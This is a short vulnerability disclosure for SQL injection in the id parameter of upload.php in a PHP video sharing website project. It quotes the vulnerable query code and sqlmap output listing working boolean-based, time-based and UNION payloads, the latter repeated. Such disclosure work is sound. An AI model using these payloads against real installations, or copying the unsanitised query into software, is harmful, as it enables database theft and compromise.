SQL injection vulnerability exists in id parameter of upload.php file of Video Sharing Website
Important user data or system data may be leaked and system security may be compromised
The environment is secure and the information can be used by malicious users.

```php
<?php
if(isset($_GET['id'])){
    $upload = $conn->query("SELECT up.*,concat(u.firstname,' ',u.lastname) as name,u.avatar FROM uploads up inner join users u on u.id
    =up.user_id where up.id = '{$_GET['id']}' ");
    foreach ($upload->fetch_array() as $k => $v) {
        $$k = $v;
    }
}
?>
```

```
sqlmap identified the following injection point(s) with a total of 240 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: description=555&id=-1' AND 6272=(SELECT (CASE WHEN (6272=6272) THEN 6272 ELSE (SEL
ECT 5051 UNION SELECT 1735) END))-- -&img=&title=555&vid=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: description=555&id=-1' AND (SELECT 2944 FROM (SELECT(SLEEP(5)))uAsY) AND 'KkdQ'='K
kdQ&img=&title=555&vid=

    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: description=555&id=-1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b7870
71,0x686a696f7244735446516f67695962684569544943716462697051646671796f704e594e57544a43,0x7176706
b71),NULL,NULL,NULL,NULL,NULL-- -&img=&title=555&vid=
---
```

“

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)

Payload: description=555&id=-1' AND 6272=(SELECT (CASE WHEN (6272=6272) THEN 6272 ELSE (SELECT 5051 UNION SELECT 1735) END))-- -&img=&title=555&vid=

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: description=555&id=-1' AND (SELECT 2944 FROM (SELECT(SLEEP(5)))uAsY) AND 'KkdQ'='KkdQ&img=&title=555&vid=

Type: UNION query

Title: Generic UNION query (NULL) - 11 columns

Payload: description=555&id=-1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b787071,0x686a696f7244735446516f6769596268456954494371646269705164667179 6f704e594e57544a43,0x7176706b71),NULL,NULL,NULL,NULL,NULL-- -&img=&title=555&vid=

“

Source Download：

https://www.campcodes.com/projects/php/video-sharing-website-using-php-mysqli-with-source-code/